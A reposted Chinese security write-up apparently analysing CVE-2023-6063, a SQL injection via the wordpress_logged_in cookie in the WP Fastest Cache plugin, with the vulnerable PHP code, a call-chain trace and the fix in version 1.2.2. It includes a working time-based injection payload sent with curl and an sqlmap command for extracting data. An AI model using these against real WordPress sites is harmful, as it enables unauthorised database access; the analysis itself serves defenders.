CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

admin 2023年12月18日08:53:44评论51 views字数 1817阅读6分3秒阅读模式

漏洞环境

● wordpress 版本无限制
● WP Fastest Cache 插件 <1.2.2,这里使用1.2.1版本
启用 WP Fastest Cache 插件,并启用“缓存系统”

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

漏洞点
cache.php 。调用在漏洞分析部分分析

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

public function is_user_admin(){
global $wpdb;

foreach ((array)$_COOKIE as $cookie_key => $cookie_value){
if(preg_match("/wordpress_logged_in/i", $cookie_key)){
$username = preg_replace("/^([^|]+)|.+/", "$1", $cookie_value);
break;
}
}

if(isset($username) && $username){
$res = $wpdb->get_var("SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value`
FROM `$wpdb->users`
INNER JOIN `$wpdb->usermeta`
ON `$wpdb->users`.`user_login` = "$username" AND
`$wpdb->usermeta`.`meta_key` LIKE "%_user_level" AND
`$wpdb->usermeta`.`meta_value` = "10" AND
`$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;"
);

return $res;
}

return false;

}

漏洞复现

记得改cookie 中 wordpress_logged_in的字符串,如wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93
漏洞点在cookie的 wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93(会变) 参数处
curl https://example.com -H "Cookie: wordpress_logged_in=1234%22%20AND%20(SELECT%202537%20FROM%20(SELECT(SLEEP(5)))Sazm)%20AND%20%22qzts%22=%22qzts"

sqlmap 证明:
python sqlmap.py --dbms=mysql -u "http://your-url/wp-login.php" --cookie='wordpress_logged_in_732bf205f063fd120b84d8a0d44e2d5d=*' --level=2 --current-user

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

漏洞分析

简单说就是在加载插件时,取wordpress_logged_in 第一个 | 前的字符,然后插入到 SQL 语句中。
而这样也是可以匹配的,即payload

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93内容如下:
wordpress|1702575454|gquEYSZ8lNbJktLUWLpElq4XybIhpPmOL3MmTMcqi4X|91c52c9d088ad036d8ccdc6ef645adfd906829527d27ea494140369cdbfbb1b9
这一部分的功能就是取出wordpress

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

然后没有过滤就进入了SQL语句中

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

is_user_admin() 被 createCache() 调用

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

追踪 createCache(),被cache()调用

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

看cache()在何处被调用,发现被构造函数调用,即在 WpFastestCache 对象被创建时调用

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

这两处创建了对象,看谁包含了wpFastestCache.php,继续跟,跟到plugin.php,大概就是插件加载时调用的

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

漏洞修复

WP Fastest Cache 插件 1.2.2,修复了此漏洞

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

对参数进行了过滤

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

来源:https://xz.aliyun.com/ 感谢【1570920802680446 

原文始发于微信公众号(衡阳信安):CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月18日08:53:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入https://cn-sec.com/archives/2311497.html

发表评论

匿名网友 填写信息